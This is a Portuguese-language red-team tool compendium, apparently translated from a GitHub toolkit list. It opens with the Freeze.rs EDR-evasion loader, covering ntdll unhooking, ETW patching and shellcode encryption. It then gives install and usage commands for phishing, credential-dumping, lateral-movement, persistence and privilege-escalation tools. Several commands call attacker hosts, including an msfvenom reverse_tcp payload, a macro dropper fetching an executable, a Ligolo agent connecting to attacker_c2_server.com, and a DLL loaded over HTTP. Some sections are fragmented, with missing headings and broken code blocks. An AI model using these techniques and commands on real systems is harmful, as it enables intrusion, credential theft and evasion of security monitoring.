Quando um processo é criado, a Ntdll.dll é a primeira DLL carregada; isso ocorre antes de qualquer DLL do EDR ser carregada. Isso significa que há um pequeno atraso antes que um EDR possa ser carregado e começar a fazer hook e modificar o assembly das DLLs do sistema. Ao observar as chamadas de sistema do Windows na Ntdll.dll, podemos ver que nada ainda foi hookado. Se criarmos um processo em estado suspenso (um que está congelado no tempo), podemos ver que nenhuma outra DLL é carregada, exceto a Ntdll.dll. Você também pode ver que nenhuma DLL do EDR é carregada, o que significa que as chamadas de sistema localizadas na Ntdll.dll não foram modificadas.
**Randomização de Layout do Espaço de Endereço (ASLR)**
Para usar esse processo suspenso limpo e remover os hooks do carregador Freeze.rs, precisamos de uma maneira programática de encontrar e ler a memória do processo suspenso limpo. É aqui que entra a randomização de layout do espaço de endereço (ASLR). ASLR é um mecanismo de segurança para prevenir vulnerabilidades baseadas em corrupção de memória da pilha. O ASLR randomiza o espaço de endereço dentro de um processo, para garantir que todos os objetos mapeados na memória, a pilha, o heap e o próprio programa executável sejam únicos. Agora, isso se torna interessante porque, embora o ASLR funcione, ele não funciona para código independente de posição, como DLLs. O que acontece com DLLs (especificamente DLLs conhecidas do sistema) é que o espaço de endereço é randomizado uma vez na inicialização. Isso significa que não precisamos enumerar informações de um processo remoto para encontrar o endereço base da sua ntdll.dll, porque ele é o mesmo em todos os processos, incluindo aquele que controlamos. Como o endereço de cada DLL é o mesmo lugar por inicialização, podemos obter essas informações do nosso próprio processo e nunca precisar enumerar o processo suspenso para encontrar o endereço.
Com essas informações, podemos usar a API ReadProcessMemory para ler a memória de um processo. Essa chamada de API é comumente associada à leitura do LSASS como parte de qualquer ataque baseado em credenciais; no entanto, por si só, não é inerentemente maliciosa, especialmente se estivermos apenas lendo uma seção arbitrária da memória. A única vez que ReadProcessMemory será sinalizada como parte de algo suspeito é se você estiver lendo algo que não deveria (como o conteúdo do LSASS). Os produtos EDR nunca devem sinalizar o fato de que ReadProcessMemory foi chamado, pois existem usos operacionais legítimos para essa função e resultaria em muitos falsos positivos.
Podemos ir além, lendo apenas uma seção da Ntdll.dll onde todas as chamadas de sistema são armazenadas – sua seção .text, em vez de ler toda a DLL.
Combinando esses elementos, podemos obter programaticamente uma cópia da seção .text da Ntdll.dll para sobrescrever nossa seção .text já hookada antes de executar o shellcode.
**Patch do ETW**
O ETW utiliza chamadas de sistema internas para gerar essa telemetria. Como o ETW também é um recurso nativo do Windows, os produtos de segurança não precisam "hookar" as chamadas de sistema do ETW para acessar as informações. Como resultado, para prevenir o ETW, o Freeze.rs aplica patch em várias chamadas de sistema do ETW, limpando os registradores e retornando o fluxo de execução para a próxima instrução. Aplicar patch no ETW agora é padrão em todos os carregadores.
**Shellcode**
Com a crate NTAPI do Rust, você pode ver que todas essas chamadas não aparecem na ntdll.dll, no entanto elas ainda existem dentro do processo.
Como resultado:
**Por que Rust?**
Isso começou como um projeto divertido para aprender Rust e acabou se tornando seu próprio framework.
**Contribuindo**
O Freeze.rs foi desenvolvido em Rust.
**Instalação**
Se Rust e Rustup não estiverem instalados, por favor, instale-os. Se você estiver compilando a partir de OSX ou Linux, certifique-se de ter o alvo "x86_64-pc-windows-gnu" adicionado. Para isso, execute o seguinte comando:
Após finalizar, você pode compilar o Freeze.rs, executar os seguintes comandos ou utilizar o binário compilado:```bash
git clone https://github.com/optiv/Freeze
cd Freeze
rustup target add x86_64-pc-windows-gnu
cargo build --release
A partir daí, a versão compilada será encontrada em target/release (note que se você não colocar --release, o arquivo estará em target/debug/ )```bash
___________
_ /_ ____ ____ ________ ____ _______ ______
| ) _ __ _/ __ _/ __ \_ // __ \ _ __ / /
| \ | | /\ /\ / / /\ / | | /_
_ / || _ >_ >___ \___ > /\ |__| /____ >
/ / / / / / /
(@Tyl0us)
Soon they will learn that revenge is a dish... best served COLD & Rusty...
USAGE: Freeze-rs [FLAGS] [OPTIONS]
FLAGS: -c, --console Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature -h, --help Prints help information -n, --noetw Disables the ETW patching that prevents ETW events from being generated. -s, --sandbox Enables sandbox evasion by checking: Is Endpoint joined to a domain? Does the Endpoint have more than 2 CPUs? Does the Endpoint have more than 4 gigs of RAM? -V, --version Prints version information
OPTIONS: -E, --Encrypt Encrypts the shellcode using either AES 256, ELZMA or RC4 encryption -I, --Input Path to the raw 64-bit shellcode. -O, --Output Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe. -p, --process The name of process to spawn. This process has to exist in C:\Windows\System32. Example 'notepad.exe' -e, --export Defines a custom export function name for any DLL.
**Binário vs DLL**
Freeze.rs pode gerar tanto um arquivo .exe quanto um arquivo .dll. Para especificar isso, certifique-se de que a opção de linha de comando -O termine com .exe para binários ou .dll para DLLs. Nenhum outro tipo de arquivo é atualmente suportado. No caso de arquivos DLL, o Freeze.rs também pode adicionar funcionalidades de exportação adicionais. Para fazer isso, use a opção -export com o nome específico da função de exportação.
**Criptografia**
Criptografar shellcode é uma técnica importante usada para protegê-lo contra detecção e análise por EDRs e outros produtos de segurança. O Freeze.rs vem com múltiplos métodos para criptografar shellcode, incluindo AES, ELZMA e RC4.
**AES**
AES (Advanced Encryption Standard) é um algoritmo de criptografia simétrica amplamente utilizado para criptografar dados. O Freeze.rs usa o tamanho de 256 bits do AES para criptografar o shellcode. A vantagem de usar AES para criptografar shellcode é que ele fornece criptografia forte e é amplamente suportado por bibliotecas criptográficas. No entanto, o uso de um tamanho de bloco fixo pode torná-lo vulnerável a certos ataques, como o ataque de padding oracle.
**ELZMA**
ELZMA é um algoritmo de compressão e criptografia frequentemente usado em malware para ofuscar o código. Para criptografar shellcode usando ELZMA, o shellcode é primeiro comprimido com o algoritmo ELZMA. Os dados comprimidos são então criptografados usando uma chave aleatória. Os dados criptografados e a chave são então embutidos no código do exploit. A vantagem de usar ELZMA para criptografar shellcode é que ele fornece compressão e criptografia em um único algoritmo. Isso pode ajudar a reduzir o tamanho do código do exploit e torná-lo mais difícil de detectar.
**RC4**
RC4 é um algoritmo de criptografia simétrica frequentemente usado em malware para criptografar shellcode. É uma cifra de fluxo que pode usar chaves de comprimento variável e é conhecida por sua simplicidade e velocidade.
**Console**
O Freeze.rs utiliza uma técnica para primeiro criar o processo e depois movê-lo para segundo plano. Isso faz duas coisas – primeiro ajuda a manter o processo oculto e, segundo, evita ser detectado por qualquer produto EDR. Iniciar um processo imediatamente em segundo plano pode ser muito suspeito e um indicador de maliciosidade. O Freeze.rs faz isso chamando as funções do Windows 'GetConsoleWindow' e 'ShowWindow' após o processo ser criado e os hooks do EDR serem carregados, e então altera os atributos da janela para oculto.
Se a opção de linha de comando -console for selecionada, o Freeze.rs não ocultará o processo em segundo plano. Em vez disso, o Freeze.rs adicionará várias mensagens de depuração exibindo o que o loader está fazendo.
---
### [🔙](#tool-list)WSH
**Criando payload:**```vbs
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True
Executar:```bash wscript payload.vbs cscript.exe payload.vbs wscript /e:VBScript payload.txt //If .vbs files are blacklisted
### [🔙](#tool-list)HTA
**Criando payload:**```html
<html>
<body>
<script>
var c = "cmd.exe";
new ActiveXObject("WScript.Shell").Run(c);
</script>
</body>
</html>
Executar: Executar arquivo
Criando payload:```python Sub calc() Dim payload As String payload = "calc.exe" CreateObject("Wscript.Shell").Run payload,0 End Sub
**Executar:** Definir função como Auto_Open() em documento habilitado para macros
# Acesso Inicial
### [🔙](#tool-list)[Bash Bunny](https://shop.hak5.org/products/bash-bunny)
O Bash Bunny é uma ferramenta de ataque USB física e um sistema de entrega de payloads multifuncional. Ele foi projetado para ser conectado à porta USB de um computador e pode ser programado para realizar diversas funções, incluindo manipular e extrair dados, instalar malware e contornar medidas de segurança.
[hackinglab: Bash Bunny – Guia](https://hackinglab.cz/en/blog/bash-bunny-guide/)
[Documentação do Hak5](https://docs.hak5.org/bash-bunny/)
[Repositório de Payloads Nice](https://github.com/hak5/bashbunny-payloads)
[Página do Produto](https://hak5.org/products/bash-bunny)
### [🔙](#tool-list)[EvilGoPhish](https://github.com/fin3ss3g0d/evilgophish)
evilginx2 + gophish. (GoPhish) O Gophish é um framework de phishing poderoso e de código aberto que facilita o teste da exposição da sua organização a ataques de phishing. (evilginx2) Framework autônomo de ataque man-in-the-middle usado para capturar credenciais de login juntamente com cookies de sessão, permitindo contornar a autenticação de dois fatores.
**Instalação:**```bash
git clone https://github.com/fin3ss3g0d/evilgophish
Uso:``` Usage: ./setup <subdomain(s)>
### [🔙](#tool-list)[Social Engineer Toolkit (SET)](https://github.com/IO1337/social-engineering-toolkit)
Esta framework é excelente para criar campanhas de acesso inicial, "o SET tem uma série de vetores de ataque personalizados que permitem criar um ataque convincente rapidamente".
**Instalação:**```bash
git clone https://github.com/IO1337/social-engineering-toolkit; cd set; python setup.py install
Uso:```bash python3 setoolkit
### [🔙](#tool-list)[Hydra](https://github.com/vanhauser-thc/thc-hydra)
Ferramenta útil para ataques de força bruta em logins. Pode fazer brute force em vários serviços, incluindo SSH, FTP, TELNET, HTTP etc.
**Instalação:**```bash
sudo apt install hydra
Uso:```bash hydra -L USER.TXT -P PASS.TXT 1.1.1.1 http-post-form "login.php:username-^USER^&password=^PASS^:Error" hydra -L USER.TXT -P PASS.TXT 1.1.1.1 ssh
### [🔙](#tool-list)[SquarePhish](https://github.com/secureworks/squarephish)
SquarePhish é uma ferramenta avançada de phishing que utiliza uma técnica combinando o fluxo de autenticação OAuth Device Code e códigos QR (veja [PhishInSuits](https://github.com/secureworks/PhishInSuits) para mais informações sobre o fluxo OAuth Device Code para ataques de phishing).
Passos do ataque:
- Enviar código QR malicioso para a vítima
- A vítima escaneia o código QR com o dispositivo móvel
- A vítima é direcionada para um servidor controlado pelo atacante (iniciando o processo de fluxo de autenticação OAuth Device Code)
- A vítima recebe um código MFA por e-mail (iniciando o temporizador de 15 minutos do fluxo OAuth Device Code)
- O atacante consulta a autenticação periodicamente
- A vítima insere o código no site legítimo da Microsoft
- O atacante salva o token de autenticação
**Instalação:**```bash
git clone https://github.com/secureworks/squarephish; cd squarephish; pip install -r requirements.txt
Nota: Antes de usar qualquer um dos módulos, atualize as informações necessárias no arquivo settings.config indicadas com Required.
Uso (Módulo de E-mail):``` usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
optional arguments: -h, --help show this help message and exit
-c CONFIG, --config CONFIG squarephish config file [Default: settings.config]
--debug enable server debugging
-e EMAIL, --email EMAIL victim email address to send initial QR code email to
**Uso (Módulo do Servidor):**```
usage: squish.py server [-h] [-c CONFIG] [--debug]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
King Phisher é uma ferramenta que permite que atacantes criem e enviem e-mails de phishing para vítimas, a fim de obter informações sensíveis.
Inclui recursos como modelos personalizáveis, gerenciamento de campanhas e capacidade de envio de e-mails, tornando-se uma ferramenta poderosa e fácil de usar para realizar ataques de phishing. Com o King Phisher, atacantes podem mirar indivíduos ou organizações com e-mails de phishing direcionados e convincentes, aumentando as chances de sucesso em seus ataques.
Instalação (Linux - Cliente & Servidor):```bash
wget -q https://github.com/securestate/king-phisher/raw/master/tools/install.sh &&
sudo bash ./install.sh
**Uso:**
Assim que o King Phisher for instalado, siga a [página wiki](https://github.com/rsmusllp/king-phisher/wiki/Getting-Started) para configurar SSH, configuração de banco de dados, servidor SMTP, etc.
# Execução
### [🔙](#tool-list)[Responder](https://github.com/SpiderLabs/Responder)
Responder é uma ferramenta para envenenar os protocolos LLMNR e NBT-NS em uma rede, permitindo a captura de credenciais e execução arbitrária de código.
Os protocolos LLMNR (Link-Local Multicast Name Resolution) e NBT-NS (NetBIOS Name Service) são usados por sistemas Windows para resolver nomes de host para endereços IP em uma rede local. Se um nome de host não puder ser resolvido usando esses protocolos, o sistema transmitirá uma solicitação para o nome de host na rede local.
Responder escuta essas transmissões e responde com um endereço IP falso, enganando o sistema solicitante para que envie suas credenciais ao atacante.
**Instalação:**```bash
git clone https://github.com/SpiderLabs/Responder#usage
cd Responder
Uso:```bash
./Responder.py [options]
./Responder.py -I eth0 -wrf
Informações completas de uso podem ser encontradas [aqui](https://github.com/SpiderLabs/Responder#usage).
_Imagem usada de https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/_
### [🔙](#tool-list)[secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py)
Um utilitário que faz parte da biblioteca Impacket que pode ser usado para extrair hashes de senhas e outros segredos de um sistema Windows.
Ele faz isso interagindo com o banco de dados do Security Account Manager (SAM) no sistema e extraindo as senhas hashadas e outras informações, como:
- Hashes de senhas para contas locais
- Tickets e chaves Kerberos
- LSA Secrets
**Instalação:**```bash
python3 -m pip install impacket
Uso:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:[email protected]
_Imagem usada de https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy_
### [🔙](#tool-list)[evil-winrm](https://github.com/Hackplayers/evil-winrm)
Evil-WinRM é uma ferramenta que fornece uma interface de linha de comando para o Windows Remote Management (WinRM: _Um serviço que permite aos administradores executar comandos remotamente em uma máquina Windows_).
Evil-WinRM permite que um invasor se conecte remotamente a uma máquina Windows usando o WinRM e execute comandos arbitrários.
Algumas funcionalidades incluem:
- Carregar scripts do Powershell na memória
- Carregar arquivos dll na memória ignorando alguns AVs
- Carregar payloads x64
- Suporte a pass-the-hash
- Upload e download de arquivos locais e remotos
**Instalação: (Git)**```bash
sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
Instalar: (Ruby gem)```bash gem install evil-winrm
Instruções alternativas de instalação podem ser encontradas [aqui](https://github.com/Hackplayers/evil-winrm#installation--quick-start-4-methods).
**Uso:**```bash
# Connect to 192.168.1.100 as Administrator with custom exe/ps1 download folder locations
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
# Upload local files to victim
upload local_filename
upload local_filename destination_filename
# Download remote files to local machine
download remote_filename
download remote_filename destination_filename
# Execute .Net assembly into victim memory
Invoke-Binary /opt/csharp/Rubeus.exe
# Load DLL library into victim memory
Dll-Loader -http http://10.10.10.10/SharpSploit.dll
Documentação completa de uso pode ser encontrada aqui.
Imagem usada de https://korbinian-spielvogel.de/posts/heist-writeup/
Uma ferramenta para execução em memória de arquivos VBScript, JScript, EXE, DLL e assemblies dotNET. Pode ser usada para carregar e executar payloads personalizados em sistemas alvo sem a necessidade de gravar arquivos em disco.
Instalação: (Windows)```bash git clone http://github.com/thewover/donut.git
Para gerar o template do loader, a biblioteca dinâmica donut.dll, a biblioteca estática donut.lib e o gerador donut.exe. Inicie um Prompt de Comando do Desenvolvedor do Microsoft Visual Studio x64, mude para o diretório onde você clonou o repositório Donut e digite o seguinte:```bash
nmake -f Makefile.msvc
Para fazer o mesmo, exceto usando MinGW-64 no Windows ou Linux, mude para o diretório onde você clonou o repositório Donut e digite o seguinte:```bash make -f Makefile.mingw
**Instalação: (Linux)**```bash
pip3 install donut-shellcode
Uso:```bash
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\calc.xsl")
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\payload\test\hello.dll")
Para informações completas de uso, veja a [Página do GitHub](https://github.com/TheWover/donut/#4-usage) do donut.
Veja [uma postagem recente no blog](https://thewover.github.io/Bear-Claw/) do The Wover para mais informações.
### [🔙](#tool-list)[Macro_pack](https://github.com/sevagas/macro_pack)
Uma ferramenta usada para automatizar a ofuscação e geração de documentos do Office, scripts VB, atalhos e outros formatos para red teaming.
**Instalação: (Binário)**
1. Obtenha o binário mais recente em [https://github.com/sevagas/macro_pack/releases/](https://github.com/sevagas/macro_pack/releases/)
2. Baixe o binário em um PC com Microsoft Office genuíno instalado.
3. Abra o console, navegue até o diretório do binário e execute o binário.
**Instalação: (Git)**```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
Uso:```bash
python3 macro_pack.py --help
macro_pack.exe --listformats
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
macro_pack.exe -f empire.vba -o -G myDoc.docm
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
echo calc.exe | macro_pack.exe --dde -G calc.xslx
### [🔙](#tool-list)[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)
Uma coleção de scripts e módulos PowerShell que podem ser usados para alcançar uma variedade de objetivos de red team.
Algumas das funcionalidades do PowerSploit:
- Despejar hashes de senhas e extrair senhas em texto claro da memória
- Elevar privilégios e contornar controles de segurança
- Executar código PowerShell arbitrário e contornar restrições de execução
- Realizar reconhecimento e descoberta de rede
- Gerar payloads e executar explorações
**Instalação:** _1. Salve na pasta de módulos do PowerShell_
Primeiro, você precisará baixar a [Pasta PowerSploit](https://github.com/PowerShellMafia/PowerSploit) e salvá-la na pasta de módulos do PowerShell.
O caminho da sua pasta de módulos do PowerShell pode ser encontrado com o seguinte comando:```
$Env:PSModulePath
Instalação: 2. Instale o PowerSploit como um módulo do PowerShell
Em seguida, você precisará instalar o módulo do PowerSploit (use o nome da pasta baixada).
Nota: Sua política de execução do PowerShell pode bloqueá-lo; para corrigir isso, execute o seguinte comando.``` powershell.exe -ep bypass
Agora você pode instalar o módulo PowerSploit.```
Import-Module PowerSploit
Uso:``` Get-Command -Module PowerSploit
### [🔙](#tool-list)[Rubeus](https://github.com/GhostPack/Rubeus)
Ferramenta que pode ser usada para realizar várias ações relacionadas a ambientes Microsoft Active Directory (AD), como extrair hashes de senhas, criar/excluir usuários e modificar propriedades de usuários.
Algumas das funcionalidades do Rubeus:
- Kerberoasting
- Ataques de golden ticket
- Ataques de silver ticket
**Instalação: (Download)**
Você pode instalar o binário não oficial pré-compilado do Rubeus [aqui](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe).
**Instalação: (Compilar)**
Rubeus é compatível com [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Abra o [projeto .sln](https://github.com/GhostPack/Rubeus) do rubeus, escolha "Release" e compile.
**Uso:**```
Rubeus.exe -h
Uma excelente ferramenta para verificar um endpoint de vítima por vulnerabilidades relacionadas a processos de alta integridade, grupos, caminhos sequestráveis, etc.
Instalação: (Download)
Você pode instalar o binário SharpUp pré-compilado não oficial aqui.
Instalação: (Compilar)
SharpUp é compatível com Visual Studio 2015 Community Edition. Abra o projeto .sln do SharpUp, escolha "Release" e compile.
Uso:```bash SharpUp.exe audit #-> Runs all vulnerability checks regardless of integrity level or group membership.
SharpUp.exe HijackablePaths #-> Check only if there are modifiable paths in the user's %PATH% variable.
SharpUp.exe audit HijackablePaths #-> Check only for modifiable paths in the user's %PATH% regardless of integrity level or group membership.
### [🔙](#tool-list)[SQLRecon](https://github.com/skahwah/SQLRecon)
O MS-SQL (Microsoft SQL Server) é um sistema de gerenciamento de banco de dados relacional desenvolvido e comercializado pela Microsoft.
Este toolkit em C# para MS-SQL foi projetado para reconhecimento ofensivo e pós-exploração. Para informações detalhadas de uso sobre cada técnica, consulte a [wiki](https://github.com/skahwah/SQLRecon/wiki).
**Instalação: (Binário)**
Você pode baixar a versão binária mais recente [aqui](https://github.com/skahwah/SQLRecon/releases).
**Uso:**```bash
# Authenticating using Windows credentials
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# Authenticating using Local credentials
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami
# Authenticating using Azure AD credentials
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami
# Run whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# View databases
SQLRecon.exe -a Windows -s SQL01 -d master -m databases
# View tables
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019
Informações completas de uso podem ser encontradas na wiki.
Informações de uso dos módulos da ferramenta podem ser encontradas aqui.
Imagem usada da página de ajuda do SQLRecon
Este recurso é uma coleção das técnicas mais comuns e conhecidas para contornar o AppLocker.
Como o AppLocker pode ser configurado de diferentes formas, @api0cradle mantém uma lista verificada de bypasses (que funcionam contra as regras padrão do AppLocker) e uma lista com possíveis técnicas de bypass (dependendo da configuração) ou que foram alegadas como bypass por alguém.
Eles também têm uma lista de técnicas genéricas de bypass, bem como uma lista legada de métodos de execução através de DLLs.
Listas Indexadas
Imagem usada de https://github.com/api0cradle/UltimateAppLockerByPassList
Um lançador baseado em JavaScript e VBScript para o Empire, que executa dentro do seu próprio PowerShell Host incorporado.
Ambos os lançadores executam dentro do seu próprio PowerShell Host incorporado, portanto não precisamos do PowerShell.exe.
Isso pode ser útil quando uma empresa está bloqueando o PowerShell.exe e/ou utilizando uma solução de Lista de Permissões de Aplicativos, mas não bloqueia a execução de arquivos JS/VBS.
Uso:
Para a versão JavaScript, use a seguinte Variável:```javascript var EncodedPayload = "";
Para a versão VBScript, use a seguinte variável:```vbscript
Dim EncodedPayload: EncodedPayload = "<Paste Encoded Launcher Payload Here>"
Imagem usada de https://www.hackplayers.com/2017/06/startfighters-un-launcher-de-empire-en-js-vbs.html
O objetivo deste projeto é gerar arquivos .html que contêm um arquivo HTA criptografado.
A ideia é que quando seu alvo visitar a página, a chave é obtida e o HTA é descriptografado dinamicamente dentro do navegador e enviado diretamente ao usuário.
Esta é uma técnica de evasão para contornar a inspeção de conteúdo / tipo de arquivo implementada por alguns dispositivos de segurança.
Mais informações técnicas aqui.
Instalação:``` git clone https://github.com/nccgroup/demiguise cd demiguise
**Uso:**```bash
# Generate an encrypted .hta file that executes notepad.exe
python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta
Imagem usada de https://github.com/nccgroup/demiguise
Impacket fornece um conjunto de ligações Python de baixo nível para vários protocolos de rede, incluindo SMB, Kerberos e LDAP, bem como bibliotecas de alto nível para interagir com serviços de rede e realizar tarefas específicas como extrair hashes de senhas e criar compartilhamentos de rede.
Também inclui uma série de ferramentas de linha de comando que podem ser usadas para realizar várias tarefas, como extrair bancos de dados SAM, enumerar trustes de domínio e quebrar senhas do Windows.
Instalação:```bash python3 -m pip install impacket
**Instalar: (Com Scripts de Exemplo)**
Baixe e extraia [o pacote](https://github.com/fortra/impacket), então navegue até a pasta de instalação e execute...```bash
python3 -m pip install .
Uso:```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
netview.py domain/user:password -target 192.168.10.2
mssqlinstance.py 192.168.1.2
GetADUsers.py domain/user:password@IP
Ótima [folha de dicas](https://cheatsheet.haax.fr/windows-systems/exploitation/impacket/) para uso do Impacket.
### [🔙](#tool-list)[Empire](https://github.com/EmpireProject/Empire)
Empire é um framework de pós-exploração que permite gerar payloads para estabelecer conexões remotas com sistemas vítimas.
Uma vez que um payload é executado em um sistema vítima, ele estabelece uma conexão de volta ao servidor Empire, que pode então ser usado para emitir comandos e controlar o sistema alvo.
Empire também inclui vários módulos e scripts embutidos que podem ser usados para realizar tarefas específicas, como extrair hashes de senhas, acessar o registro do Windows e exfiltrar dados.
**Instalação:**```bash
git clone https://github.com/EmpireProject/Empire
cd Empire
sudo ./setup/install.sh
Uso:```bash
./empire
list agents
list listeners
Nice usage [cheat sheet](https://github.com/HarmJ0y/CheatSheets/blob/master/Empire.pdf) by [HarmJoy](https://github.com/HarmJ0y).
### [🔙](#tool-list)[SharPersist](https://github.com/mandiant/SharPersist)
Um kit de ferramentas de persistência no Windows escrito em C#.
O projeto tem uma [wiki](https://github.com/mandiant/SharPersist/wiki).
**Instalação: (Binário)**
Pode encontrar a versão mais recente [aqui](https://github.com/mandiant/SharPersist/releases).
**Instalação: (Compilar)**
- Descarregue os ficheiros do projeto do [Repositório GitHub](https://github.com/mandiant/SharPersist).
- Carregue o projeto do Visual Studio e vá a "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
- Vá a "NuGet Package Manager" --> "Package Sources"
- Adicione uma fonte de pacotes com o URL "https://api.nuget.org/v3/index.json"
- Instale o pacote NuGet Costura.Fody. A versão antiga do Costura.Fody (3.3.3) é necessária, para que não precise do Visual Studio 2019.
- `Install-Package Costura.Fody -Version 3.3.3`
- Instale o pacote TaskScheduler
- `Install-Package TaskScheduler -Version 2.8.11`
- Agora pode compilar o projeto você mesmo!
**Uso:**
Uma lista completa de exemplos de uso pode ser encontrada [aqui](https://github.com/mandiant/SharPersist#adding-persistence-triggers-add).```
#KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
#Registry
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
#Scheduled Task Backdoor
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
#Startup Folder
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Ligolo-ng é uma ferramenta simples, leve e rápida que permite que pentesters estabeleçam túneis a partir de uma conexão reversa TCP/TLS usando uma interface tun (sem a necessidade de SOCKS).
Ao invés de usar um proxy SOCKS ou encaminhadores TCP/UDP, Ligolo-ng cria uma pilha de rede em userland usando Gvisor.
Ao executar o servidor relay/proxy, uma interface tun é usada, os pacotes enviados para esta interface são traduzidos e então transmitidos para a rede remota do agente.
Instalação: (Download)
Binários pré-compilados (Windows/Linux/macOS) estão disponíveis na página de Releases.
Instalação: (Build)
Compilando ligolo-ng (Go >= 1.17 é necessário):```bash go build -o agent cmd/agent/main.go go build -o proxy cmd/proxy/main.go
GOOS=windows go build -o agent.exe cmd/agent/main.go GOOS=windows go build -o proxy.exe cmd/proxy/main.go
**Configuração: (Linux)**```bash
sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up
Configuração: (Windows)
Você precisa baixar o driver Wintun (usado pelo WireGuard) e colocar o wintun.dll na mesma pasta do Ligolo (certifique-se de usar a arquitetura correta).
Configuração: (Servidor proxy)```bash ./proxy -h # Help options ./proxy -autocert # Automatically request LetsEncrypt certificates
**Uso:**
_Inicie o agente no computador alvo (vítima) (não são necessários privilégios!):_```bash
./agent -connect attacker_c2_server.com:11601
Uma sessão deve aparecer no servidor proxy.``` INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
Use o comando session para selecionar o agente.```
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
Informações completas de uso podem ser encontradas aqui.
Imagem usada de https://github.com/nicocha30/ligolo-ng#demo
LinPEAS é uma ferramenta de escalação de privilégio bastante detalhada para encontrar caminhos de escalação local em endpoints Linux.
Instalação + Uso:```bash curl -L "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" | sh
### [🔙](#tool-list)[WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
WinPEAS é uma ferramenta de escalonamento de privilégios verbosa e útil para encontrar rotas de privesc local em endpoints Windows.
**Instalação + Uso:**```bash
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
Linux smart enumeration é outra boa ferramenta de privesc linux, menos verbosa, para Linux.
Instalação + Uso:```bash curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh
### [🔙](#tool-list)[Certify](https://github.com/GhostPack/Certify)
O Certify é uma ferramenta C# para enumerar e abusar de configurações incorretas nos Serviços de Certificados do Active Directory (AD CS).
O Certify foi projetado para ser usado em conjunto com outras ferramentas e técnicas de red team, como Mimikatz e PowerShell, para permitir que os red teamers realizem vários tipos de ataques, incluindo ataques man-in-the-middle, ataques de impersonação e ataques de escalonamento de privilégios.
**Principais recursos do Certify:**
- Criação de certificados
- Assinatura de certificados
- Importação de certificados
- Modificação de confiança de certificados
**Instalação: (Compilar)**
O Certify é compatível com o [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Abra o projeto Certify [.sln](https://github.com/GhostPack/Certify), escolha "Release" e compile.
**Instalação: (Executando o Certify Através do PowerShell)**
Se você deseja executar o Certify em memória por meio de um wrapper do PowerShell, primeiro compile o Certify e codifique em base64 o assembly resultante:```bash
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt
Certify pode então ser carregado em um script PowerShell com o seguinte (onde "aa..." é substituído pela string de assembly Certify codificada em base64):``` $CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
O método Main() e quaisquer argumentos podem então ser invocados da seguinte forma:```
[Certify.Program]::Main("find /vulnerable".Split())
Instruções completas de compilação podem ser encontradas aqui.
Uso:```bash
Certify.exe find /vulnerable
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin
Um exemplo completo de passo a passo pode ser encontrado [aqui](https://github.com/GhostPack/Certify#example-walkthrough).
